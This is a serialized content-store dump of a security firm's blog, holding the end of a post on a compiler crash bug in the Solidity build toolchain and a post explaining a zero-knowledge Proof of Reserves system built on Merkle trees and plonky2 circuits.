Type::Category::RationalNumber)\n",{"type":22,"tag":264,"props":93456,"children":93457},{"class":1534,"line":1583},[93458],{"type":22,"tag":264,"props":93459,"children":93460},{"style":1539},[93461],{"type":27,"value":83168},{"type":22,"tag":264,"props":93463,"children":93464},{"class":1534,"line":1603},[93465,93470,93474,93479,93483,93488,93492,93497,93501,93506,93510],{"type":22,"tag":264,"props":93466,"children":93467},{"style":4328},[93468],{"type":27,"value":93469},"    else",{"type":22,"tag":264,"props":93471,"children":93472},{"style":4328},[93473],{"type":27,"value":17088},{"type":22,"tag":264,"props":93475,"children":93476},{"style":1539},[93477],{"type":27,"value":93478}," (std::optional",{"type":22,"tag":264,"props":93480,"children":93481},{"style":4309},[93482],{"type":27,"value":7097},{"type":22,"tag":264,"props":93484,"children":93485},{"style":1539},[93486],{"type":27,"value":93487},"ConstantEvaluator::TypedRational",{"type":22,"tag":264,"props":93489,"children":93490},{"style":4309},[93491],{"type":27,"value":11760},{"type":22,"tag":264,"props":93493,"children":93494},{"style":1539},[93495],{"type":27,"value":93496}," value ",{"type":22,"tag":264,"props":93498,"children":93499},{"style":4309},[93500],{"type":27,"value":429},{"type":22,"tag":264,"props":93502,"children":93503},{"style":1539},[93504],{"type":27,"value":93505}," ConstantEvaluator::",{"type":22,"tag":264,"props":93507,"children":93508},{"style":4401},[93509],{"type":27,"value":39319},{"type":22,"tag":264,"props":93511,"children":93512},{"style":1539},[93513],{"type":27,"value":93514},"(...))\n",{"type":22,"tag":264,"props":93516,"children":93517},{"class":1534,"line":1612},[93518,93523,93527,93531,93535,93539],{"type":22,"tag":264,"props":93519,"children":93520},{"style":1539},[93521],{"type":27,"value":93522},"        lengthValue ",{"type":22,"tag":264,"props":93524,"children":93525},{"style":4309},[93526],{"type":27,"value":429},{"type":22,"tag":264,"props":93528,"children":93529},{"style":1549},[93530],{"type":27,"value":33826},{"type":22,"tag":264,"props":93532,"children":93533},{"style":1539},[93534],{"type":27,"value":15056},{"type":22,"tag":264,"props":93536,"children":93537},{"style":1549},[93538],{"type":27,"value":40466},{"type":22,"tag":264,"props":93540,"children":93541},{"style":1539},[93542],{"type":27,"value":4322},{"type":22,"tag":264,"props":93544,"children":93545},{"class":1534,"line":1621},[93546],{"type":22,"tag":264,"props":93547,"children":93548},{"emptyLinePlaceholder":17},[93549],{"type":27,"value":4986},{"type":22,"tag":264,"props":93551,"children":93552},{"class":1534,"line":1629},[93553,93557,93561,93565],{"type":22,"tag":264,"props":93554,"children":93555},{"style":4328},[93556],{"type":27,"value":13578},{"type":22,"tag":264,"props":93558,"children":93559},{"style":1539},[93560],{"type":27,"value":4370},{"type":22,"tag":264,"props":93562,"children":93563},{"style":4309},[93564],{"type":27,"value":21928},{"type":22,"tag":264,"props":93566,"children":93567},{"style":1539},[93568],{"type":27,"value":93569},"lengthValue)\n",{"type":22,"tag":264,"props":93571,"children":93572},{"class":1534,"line":1642},[93573],{"type":22,"tag":264,"props":93574,"children":93575},{"style":1539},[93576],{"type":27,"value":83168},{"type":22,"tag":264,"props":93578,"children":93579},{"class":1534,"line":1660},[93580,93584,93588,93592,93596,93600,93604,93608,93612],{"type":22,"tag":264,"props":93581,"children":93582},{"style":4328},[93583],{"type":27,"value":93469},{"type":22,"tag":264,"props":93585,"children":93586},{"style":4328},[93587],{"type":27,"value":17088},{"type":22,"tag":264,"props":93589,"children":93590},{"style":1539},[93591],{"type":27,"value":4370},{"type":22,"tag":264,"props":93593,"children":93594},{"style":4309},[93595],{"type":27,"value":5865},{"type":22,"tag":264,"props":93597,"children":93598},{"style":1539},[93599],{"type":27,"value":91401},{"type":22,"tag":264,"props":93601,"children":93602},{"style":4309},[93603],{"type":27,"value":9870},{"type":22,"tag":264,"props":93605,"children":93606},{"style":4344},[93607],{"type":27,"value":4347},{"type":22,"tag":264,"props":93609,"children":93610},{"style":1539},[93611],{"type":27,"value":2806},{"type":22,"tag":264,"props":93613,"children":93614},{"style":4284},[93615],{"type":27,"value":93616},"  // \u003C-- Infinite recursion happens here\n",{"type":22,"tag":264,"props":93618,"children":93619},{"class":1534,"line":1668},[93620],{"type":22,"tag":264,"props":93621,"children":93622},{"style":1539},[93623],{"type":27,"value":83168},{"type":22,"tag":264,"props":93625,"children":93626},{"class":1534,"line":1677},[93627],{"type":22,"tag":264,"props":93628,"children":93629},{"style":1539},[93630],{"type":27,"value":1692},{"type":22,"tag":23,"props":93632,"children":93633},{},[93634],{"type":27,"value":93635},"Under normal circumstances, this expression is benign. But:",{"type":22,"tag":17988,"props":93637,"children":93638},{},[93639,93644,93649],{"type":22,"tag":1871,"props":93640,"children":93641},{},[93642],{"type":27,"value":93643},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":22,"tag":1871,"props":93645,"children":93646},{},[93647],{"type":27,"value":93648},"C++20 reverses the arguments",{"type":22,"tag":1871,"props":93650,"children":93651},{},[93652],{"type":27,"value":93653},"The non-member operator recursively calls itself",{"type":22,"tag":23,"props":93655,"children":93656},{},[93657],{"type":27,"value":93658},"💥: segmentation fault.",{"type":22,"tag":20097,"props":93660,"children":93661},{},[],{"type":22,"tag":169,"props":93663,"children":93665},{"id":93664},"part-v-what-environments-are-affected",[93666],{"type":27,"value":93667},"Part V: What Environments are Affected?",{"type":22,"tag":23,"props":93669,"children":93670},{},[93671],{"type":27,"value":93672},"If a system uses any of the following:",{"type":22,"tag":17988,"props":93674,"children":93675},{},[93676,93681,93686],{"type":22,"tag":1871,"props":93677,"children":93678},{},[93679],{"type":27,"value":93680},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":22,"tag":1871,"props":93682,"children":93683},{},[93684],{"type":27,"value":93685},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":22,"tag":1871,"props":93687,"children":93688},{},[93689],{"type":27,"value":93690},"C++20 enabled (default in recent Solidity builds)",{"type":22,"tag":23,"props":93692,"children":93693},{},[93694,93696,93701,93703,93709],{"type":27,"value":93695},"They will encounter this crash ",{"type":22,"tag":242,"props":93697,"children":93698},{},[93699],{"type":27,"value":93700},"as soon as",{"type":27,"value":93702}," it processes a Solidity source with a length expression like ",{"type":22,"tag":257,"props":93704,"children":93706},{"className":93705},[],[93707],{"type":27,"value":93708},"T[0]",{"type":27,"value":93710}," or anything involving compile-time rational comparisons.",{"type":22,"tag":20097,"props":93712,"children":93713},{},[],{"type":22,"tag":169,"props":93715,"children":93717},{"id":93716},"recommendations",[93718],{"type":27,"value":93719},"Recommendations",{"type":22,"tag":17988,"props":93721,"children":93722},{},[93723,93731],{"type":22,"tag":1871,"props":93724,"children":93725},{},[93726],{"type":22,"tag":242,"props":93727,"children":93728},{},[93729],{"type":27,"value":93730},"Update Boost to ≥ 1.75",{"type":22,"tag":1871,"props":93732,"children":93733},{},[93734],{"type":22,"tag":242,"props":93735,"children":93736},{},[93737],{"type":27,"value":93738},"Pin G++ to v14 or later",{"type":22,"tag":20097,"props":93740,"children":93741},{},[],{"type":22,"tag":169,"props":93743,"children":93744},{"id":30246},[93745],{"type":27,"value":20252},{"type":22,"tag":23,"props":93747,"children":93748},{},[93749],{"type":27,"value":93750},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":22,"tag":23,"props":93752,"children":93753},{},[93754,93756,93760],{"type":27,"value":93755},"But it ",{"type":22,"tag":242,"props":93757,"children":93758},{},[93759],{"type":27,"value":5293},{"type":27,"value":93761}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":22,"tag":23,"props":93763,"children":93764},{},[93765],{"type":27,"value":93766},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":22,"tag":23,"props":93768,"children":93769},{},[93770],{"type":27,"value":93771},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":22,"tag":4139,"props":93773,"children":93774},{},[93775],{"type":27,"value":4143},{"title":7,"searchDepth":1545,"depth":1545,"links":93777},[93778,93779,93784,93787,93788,93789,93790,93791],{"id":91461,"depth":1545,"text":91464},{"id":91550,"depth":1545,"text":91553,"children":93780},[93781,93782,93783],{"id":91556,"depth":1560,"text":91559},{"id":91624,"depth":1560,"text":91627},{"id":91715,"depth":1560,"text":91718},{"id":92299,"depth":1545,"text":92302,"children":93785},[93786],{"id":92305,"depth":1560,"text":92308},{"id":92416,"depth":1545,"text":92419},{"id":93263,"depth":1545,"text":93266},{"id":93664,"depth":1545,"text":93667},{"id":93716,"depth":1545,"text":93719},{"id":30246,"depth":1545,"text":20252},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":93796,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":93797,"description":93798,"date":93799,"author":32515,"image":93800,"isFeatured":17,"onBlogPage":17,"tags":93802,"body":93805,"_type":4157,"_id":98579,"_source":4159,"_file":98580,"_stem":98581,"_extension":4162},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":93801,"width":14922,"height":14922},"/posts/por/title.png",[93803,93804],"zk","por",{"type":19,"children":93806,"toc":98556},[93807,93813,93825,93837,93842,93874,93888,93894,93906,93911,93916,93953,93958,93964,93969,93976,93981,94007,94012,94018,94038,94052,94060,94065,94070,94078,94091,94097,94179,94185,94190,94203,94208,94215,94239,94247,94252,94258,94263,94710,94723,94729,94734,94742,94760,94768,94781,94789,96449,96454,96461,96467,96472,96479,96495,96502,96510,96517,98028,98033,98040,98046,98051,98078,98083,98102,98108,98116,98134,98183,98191,98210,98232,98238,98251,98256,98263,98268,98331,98336,98343,98363,98369,98374,98380,98385,98429,98434,98442,98448,98453,98495,98500,98508,98513,98521,98525,98530,98543],{"type":22,"tag":169,"props":93808,"children":93810},{"id":93809},"what-is-a-proof-of-reserves",[93811],{"type":27,"value":93812},"What is a Proof of Reserves?",{"type":22,"tag":23,"props":93814,"children":93815},{},[93816,93818,93823],{"type":27,"value":93817},"At its heart, ",{"type":22,"tag":242,"props":93819,"children":93820},{},[93821],{"type":27,"value":93822},"Proof of Reserves (PoR)",{"type":27,"value":93824}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":22,"tag":23,"props":93826,"children":93827},{},[93828,93830,93835],{"type":27,"value":93829},"Think of it this way: ",{"type":22,"tag":242,"props":93831,"children":93832},{},[93833],{"type":27,"value":93834},"PoR",{"type":27,"value":93836}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":22,"tag":23,"props":93838,"children":93839},{},[93840],{"type":27,"value":93841},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":22,"tag":23,"props":93843,"children":93844},{},[93845,93847,93854,93856,93863,93865,93872],{"type":27,"value":93846},"We from OtterSec, in partnership with ",{"type":22,"tag":69,"props":93848,"children":93851},{"href":93849,"rel":93850},"https://backpack.exchange/",[73],[93852],{"type":27,"value":93853},"Backpack",{"type":27,"value":93855},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":22,"tag":69,"props":93857,"children":93860},{"href":93858,"rel":93859},"https://github.com/otter-sec/por_v2",[73],[93861],{"type":27,"value":93862},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":27,"value":93864}," was based on ",{"type":22,"tag":69,"props":93866,"children":93869},{"href":93867,"rel":93868},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[73],[93870],{"type":27,"value":93871},"OKX Proof of Reserves algorithm",{"type":27,"value":93873}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":22,"tag":23,"props":93875,"children":93876},{},[93877,93879,93886],{"type":27,"value":93878},"In addition, we also created and open-sourced a ",{"type":22,"tag":69,"props":93880,"children":93883},{"href":93881,"rel":93882},"https://github.com/otter-sec/por_verifier_server",[73],[93884],{"type":27,"value":93885},"PoR verifier server",{"type":27,"value":93887}," that receives the proofs and validates them.",{"type":22,"tag":169,"props":93889,"children":93891},{"id":93890},"why-do-we-use-zk-for-por",[93892],{"type":27,"value":93893},"Why do we use ZK for PoR?",{"type":22,"tag":23,"props":93895,"children":93896},{},[93897,93899,93904],{"type":27,"value":93898},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":22,"tag":242,"props":93900,"children":93901},{},[93902],{"type":27,"value":93903},"Zero-Knowledge Proofs (ZKPs)",{"type":27,"value":93905}," become game-changers.",{"type":22,"tag":23,"props":93907,"children":93908},{},[93909],{"type":27,"value":93910},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":22,"tag":23,"props":93912,"children":93913},{},[93914],{"type":27,"value":93915},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":22,"tag":1867,"props":93917,"children":93918},{},[93919,93936],{"type":22,"tag":1871,"props":93920,"children":93921},{},[93922,93927,93929,93935],{"type":22,"tag":242,"props":93923,"children":93924},{},[93925],{"type":27,"value":93926},"Sum proof",{"type":27,"value":93928},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":22,"tag":257,"props":93930,"children":93932},{"className":93931},[],[93933],{"type":27,"value":93934},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":27,"value":22049},{"type":22,"tag":1871,"props":93937,"children":93938},{},[93939,93944,93946,93951],{"type":22,"tag":242,"props":93940,"children":93941},{},[93942],{"type":27,"value":93943},"Non-negativity",{"type":27,"value":93945},": All users have a ",{"type":22,"tag":242,"props":93947,"children":93948},{},[93949],{"type":27,"value":93950},"positive",{"type":27,"value":93952}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":22,"tag":23,"props":93954,"children":93955},{},[93956],{"type":27,"value":93957},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":22,"tag":169,"props":93959,"children":93961},{"id":93960},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[93962],{"type":27,"value":93963},"What is a Merkle Tree and how does it help in a PoR?",{"type":22,"tag":23,"props":93965,"children":93966},{},[93967],{"type":27,"value":93968},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":22,"tag":23,"props":93970,"children":93971},{},[93972],{"type":22,"tag":215,"props":93973,"children":93975},{"alt":51899,"src":93974},"/posts/por/merkle-tree.png",[],{"type":22,"tag":23,"props":93977,"children":93978},{},[93979],{"type":27,"value":93980},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":22,"tag":1867,"props":93982,"children":93983},{},[93984,93997,94002],{"type":22,"tag":1871,"props":93985,"children":93986},{},[93987,93989,93995],{"type":27,"value":93988},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":22,"tag":257,"props":93990,"children":93992},{"className":93991},[],[93993],{"type":27,"value":93994},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":27,"value":93996},");",{"type":22,"tag":1871,"props":93998,"children":93999},{},[94000],{"type":27,"value":94001},"The Merkle tree is made public;",{"type":22,"tag":1871,"props":94003,"children":94004},{},[94005],{"type":27,"value":94006},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":22,"tag":23,"props":94008,"children":94009},{},[94010],{"type":27,"value":94011},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":22,"tag":169,"props":94013,"children":94015},{"id":94014},"ottersec-porv2",[94016],{"type":27,"value":94017},"OtterSec PoRv2",{"type":22,"tag":23,"props":94019,"children":94020},{},[94021,94027,94029,94036],{"type":22,"tag":69,"props":94022,"children":94024},{"href":93858,"rel":94023},[73],[94025],{"type":27,"value":94026},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":27,"value":94028},", which uses the ",{"type":22,"tag":69,"props":94030,"children":94033},{"href":94031,"rel":94032},"https://github.com/0xPolygonZero/plonky2",[73],[94034],{"type":27,"value":94035},"plonky2 ZK algorithm",{"type":27,"value":94037}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":22,"tag":23,"props":94039,"children":94040},{},[94041,94043,94050],{"type":27,"value":94042},"We named it PoRv2 because we already had a version based on ",{"type":22,"tag":69,"props":94044,"children":94047},{"href":94045,"rel":94046},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[73],[94048],{"type":27,"value":94049},"Vitalik's proof of solvency",{"type":27,"value":94051},", which was not optimal.",{"type":22,"tag":23,"props":94053,"children":94054},{},[94055],{"type":22,"tag":242,"props":94056,"children":94057},{},[94058],{"type":27,"value":94059},"Non-negativity Proof",{"type":22,"tag":23,"props":94061,"children":94062},{},[94063],{"type":27,"value":94064},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":22,"tag":23,"props":94066,"children":94067},{},[94068],{"type":27,"value":94069},"We also check for overflows during summation to prevent tampering in the final result.",{"type":22,"tag":23,"props":94071,"children":94072},{},[94073],{"type":22,"tag":242,"props":94074,"children":94075},{},[94076],{"type":27,"value":94077},"Sum Proof",{"type":22,"tag":23,"props":94079,"children":94080},{},[94081,94083,94089],{"type":27,"value":94082},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":22,"tag":257,"props":94084,"children":94086},{"className":94085},[],[94087],{"type":27,"value":94088},"BTC final: user1_btc + user2_btc ...",{"type":27,"value":94090},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":22,"tag":181,"props":94092,"children":94094},{"id":94093},"what-are-the-ottersec-porv2-key-points",[94095],{"type":27,"value":94096},"What are the OtterSec PoRv2 key points?",{"type":22,"tag":1867,"props":94098,"children":94099},{},[94100,94110,94128,94138,94169],{"type":22,"tag":1871,"props":94101,"children":94102},{},[94103,94108],{"type":22,"tag":242,"props":94104,"children":94105},{},[94106],{"type":27,"value":94107},"Transparency",{"type":27,"value":94109},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":22,"tag":1871,"props":94111,"children":94112},{},[94113,94118,94120,94127],{"type":22,"tag":242,"props":94114,"children":94115},{},[94116],{"type":27,"value":94117},"Time-efficiency",{"type":27,"value":94119},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":22,"tag":69,"props":94121,"children":94124},{"href":94122,"rel":94123},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[73],[94125],{"type":27,"value":94126},"Check our benchmark",{"type":27,"value":210},{"type":22,"tag":1871,"props":94129,"children":94130},{},[94131,94136],{"type":22,"tag":242,"props":94132,"children":94133},{},[94134],{"type":27,"value":94135},"Memory-efficiency",{"type":27,"value":94137},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":22,"tag":1871,"props":94139,"children":94140},{},[94141,94146,94148,94153,94155,94160,94162,94167],{"type":22,"tag":242,"props":94142,"children":94143},{},[94144],{"type":27,"value":94145},"Small-proofs",{"type":27,"value":94147},": We were able to reduce the final proof to less than ",{"type":22,"tag":242,"props":94149,"children":94150},{},[94151],{"type":27,"value":94152},"500KB",{"type":27,"value":94154}," and each inclusion proof to ",{"type":22,"tag":242,"props":94156,"children":94157},{},[94158],{"type":27,"value":94159},"~52KB",{"type":27,"value":94161},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":22,"tag":242,"props":94163,"children":94164},{},[94165],{"type":27,"value":94166},"200MB",{"type":27,"value":94168}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":22,"tag":1871,"props":94170,"children":94171},{},[94172,94177],{"type":22,"tag":242,"props":94173,"children":94174},{},[94175],{"type":27,"value":94176},"Privacy",{"type":27,"value":94178},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":22,"tag":169,"props":94180,"children":94182},{"id":94181},"zk-circuits",[94183],{"type":27,"value":94184},"ZK Circuits",{"type":22,"tag":23,"props":94186,"children":94187},{},[94188],{"type":27,"value":94189},"We use two different ZK circuits to generate the final proof:",{"type":22,"tag":1867,"props":94191,"children":94192},{},[94193,94198],{"type":22,"tag":1871,"props":94194,"children":94195},{},[94196],{"type":27,"value":94197},"Batch circuit",{"type":22,"tag":1871,"props":94199,"children":94200},{},[94201],{"type":27,"value":94202},"Recursive circuit",{"type":22,"tag":23,"props":94204,"children":94205},{},[94206],{"type":27,"value":94207},"With those two circuits, we can generate the proofs recursive tree:",{"type":22,"tag":23,"props":94209,"children":94210},{},[94211],{"type":22,"tag":215,"props":94212,"children":94214},{"alt":51899,"src":94213},"/posts/por/batch-circuit.png",[],{"type":22,"tag":4226,"props":94216,"children":94217},{},[94218],{"type":22,"tag":23,"props":94219,"children":94220},{},[94221,94223,94229,94231,94237],{"type":27,"value":94222},"Note: We are using 512 as ",{"type":22,"tag":257,"props":94224,"children":94226},{"className":94225},[],[94227],{"type":27,"value":94228},"BATCH_SIZE",{"type":27,"value":94230}," and 8 as ",{"type":22,"tag":257,"props":94232,"children":94234},{"className":94233},[],[94235],{"type":27,"value":94236},"RECURSIVE_SIZE",{"type":27,"value":94238}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":22,"tag":4226,"props":94240,"children":94241},{},[94242],{"type":22,"tag":23,"props":94243,"children":94244},{},[94245],{"type":27,"value":94246},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":22,"tag":23,"props":94248,"children":94249},{},[94250],{"type":27,"value":94251},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":22,"tag":181,"props":94253,"children":94255},{"id":94254},"leaf-nodes",[94256],{"type":27,"value":94257},"Leaf Nodes",{"type":22,"tag":23,"props":94259,"children":94260},{},[94261],{"type":27,"value":94262},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":22,"tag":23,"props":94264,"children":94265},{},[94266],{"type":22,"tag":257,"props":94267,"children":94269},{"className":94268},[260,261],[94270],{"type":22,"tag":264,"props":94271,"children":94273},{"className":94272},[267],[94274],{"type":22,"tag":264,"props":94275,"children":94277},{"className":94276,"ariaHidden":273},[272],[94278,94305],{"type":22,"tag":264,"props":94279,"children":94281},{"className":94280},[278],[94282,94287,94292,94296,94301],{"type":22,"tag":264,"props":94283,"children":94286},{"className":94284,"style":94285},[283],"height:0.6944em;",[],{"type":22,"tag":264,"props":94288,"children":94290},{"className":94289},[289,2178],[94291],{"type":27,"value":85670},{"type":22,"tag":264,"props":94293,"children":94295},{"className":94294,"style":421},[420],[],{"type":22,"tag":264,"props":94297,"children":94299},{"className":94298},[426],[94300],{"type":27,"value":429},{"type":22,"tag":264,"props":94302,"children":94304},{"className":94303,"style":421},[420],[],{"type":22,"tag":264,"props":94306,"children":94308},{"className":94307},[278],[94309,94314,94319,94325,94330,94335,94341,94346,94351,94356,94362,94367,94373,94379,94386,94392,94398,94457,94462,94468,94473,94478,94483,94488,94493,94498,94503,94508,94513,94570,94575,94580,94585,94590,94595,94600,94607,94612,94618,94623,94629,94635,94640,94645,94650,94655,94660,94665,94670,94675,94680,94685,94690,94695,94700,94705],{"type":22,"tag":264,"props":94310,"children":94313},{"className":94311,"style":94312},[283],"height:1.06em;vertical-align:-0.31em;",[],{"type":22,"tag":264,"props":94315,"children":94317},{"className":94316,"style":22894},[289,2178],[94318],{"type":27,"value":22897},{"type":22,"tag":264,"props":94320,"children":94322},{"className":94321},[289,2178],[94323],{"type":27,"value":94324},"ose",{"type":22,"tag":264,"props":94326,"children":94328},{"className":94327},[289,2178],[94329],{"type":27,"value":5050},{"type":22,"tag":264,"props":94331,"children":94333},{"className":94332},[289,2178],[94334],{"type":27,"value":71888},{"type":22,"tag":264,"props":94336,"children":94338},{"className":94337},[289,2178],[94339],{"type":27,"value":94340},"o",{"type":22,"tag":264,"props":94342,"children":94344},{"className":94343},[289,2178],[94345],{"type":27,"value":57724},{"type":22,"tag":264,"props":94347,"children":94349},{"className":94348},[294],[94350],{"type":27,"value":2660},{"type":22,"tag":264,"props":94352,"children":94354},{"className":94353},[289,2178],[94355],{"type":27,"value":69},{"type":22,"tag":264,"props":94357,"children":94359},{"className":94358},[289,2178],[94360],{"type":27,"value":94361},"sse",{"type":22,"tag":264,"props":94363,"children":94365},{"className":94364},[289,2178],[94366],{"type":27,"value":23033},{"type":22,"tag":264,"props":94368,"children":94371},{"className":94369,"style":94370},[289],"margin-right:0.02778em;",[94372],{"type":27,"value":4385},{"type":22,"tag":264,"props":94374,"children":94376},{"className":94375},[289,2178],[94377],{"type":27,"value":94378},"ba",{"type":22,"tag":264,"props":94380,"children":94383},{"className":94381,"style":94382},[289,2178],"margin-right:0.01968em;",[94384],{"type":27,"value":94385},"l",{"type":22,"tag":264,"props":94387,"children":94389},{"className":94388},[289,2178],[94390],{"type":27,"value":94391},"an",{"type":22,"tag":264,"props":94393,"children":94395},{"className":94394},[289,2178],[94396],{"type":27,"value":94397},"ce",{"type":22,"tag":264,"props":94399,"children":94401},{"className":94400},[289],[94402,94407],{"type":22,"tag":264,"props":94403,"children":94405},{"className":94404},[289,2178],[94406],{"type":27,"value":11950},{"type":22,"tag":264,"props":94408,"children":94410},{"className":94409},[2147],[94411],{"type":22,"tag":264,"props":94412,"children":94414},{"className":94413},[305,306],[94415,94446],{"type":22,"tag":264,"props":94416,"children":94418},{"className":94417},[311],[94419,94441],{"type":22,"tag":264,"props":94420,"children":94423},{"className":94421,"style":94422},[316],"height:0.3011em;",[94424],{"type":22,"tag":264,"props":94425,"children":94427},{"style":94426},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[94428,94432],{"type":22,"tag":264,"props":94429,"children":94431},{"className":94430,"style":2169},[326],[],{"type":22,"tag":264,"props":94433,"children":94435},{"className":94434},[332,333,334,335],[94436],{"type":22,"tag":264,"props":94437,"children":94439},{"className":94438},[289,335],[94440],{"type":27,"value":5334},{"type":22,"tag":264,"props":94442,"children":94444},{"className":94443},[396],[94445],{"type":27,"value":399},{"type":22,"tag":264,"props":94447,"children":94449},{"className":94448},[311],[94450],{"type":22,"tag":264,"props":94451,"children":94453},{"className":94452,"style":2721},[316],[94454],{"type":22,"tag":264,"props":94455,"children":94456},{},[],{"type":22,"tag":264,"props":94458,"children":94460},{"className":94459},[420],[94461],{"type":27,"value":22993},{"type":22,"tag":264,"props":94463,"children":94465},{"className":94464},[289],[94466],{"type":27,"value":94467},"∣∣",{"type":22,"tag":264,"props":94469,"children":94471},{"className":94470},[420],[94472],{"type":27,"value":22993},{"type":22,"tag":264,"props":94474,"children":94476},{"className":94475},[289,2178],[94477],{"type":27,"value":69},{"type":22,"tag":264,"props":94479,"children":94481},{"className":94480},[289,2178],[94482],{"type":27,"value":94361},{"type":22,"tag":264,"props":94484,"children":94486},{"className":94485},[289,2178],[94487],{"type":27,"value":23033},{"type":22,"tag":264,"props":94489,"children":94491},{"className":94490,"style":94370},[289],[94492],{"type":27,"value":4385},{"type":22,"tag":264,"props":94494,"children":94496},{"className":94495},[289,2178],[94497],{"type":27,"value":94378},{"type":22,"tag":264,"props":94499,"children":94501},{"className":94500,"style":94382},[289,2178],[94502],{"type":27,"value":94385},{"type":22,"tag":264,"props":94504,"children":94506},{"className":94505},[289,2178],[94507],{"type":27,"value":94391},{"type":22,"tag":264,"props":94509,"children":94511},{"className":94510},[289,2178],[94512],{"type":27,"value":94397},{"type":22,"tag":264,"props":94514,"children":94516},{"className":94515},[289],[94517,94522],{"type":22,"tag":264,"props":94518,"children":94520},{"className":94519},[289,2178],[94521],{"type":27,"value":11950},{"type":22,"tag":264,"props":94523,"children":94525},{"className":94524},[2147],[94526],{"type":22,"tag":264,"props":94527,"children":94529},{"className":94528},[305,306],[94530,94559],{"type":22,"tag":264,"props":94531,"children":94533},{"className":94532},[311],[94534,94554],{"type":22,"tag":264,"props":94535,"children":94537},{"className":94536,"style":94422},[316],[94538],{"type":22,"tag":264,"props":94539,"children":94540},{"style":94426},[94541,94545],{"type":22,"tag":264,"props":94542,"children":94544},{"className":94543,"style":2169},[326],[],{"type":22,"tag":264,"props":94546,"children":94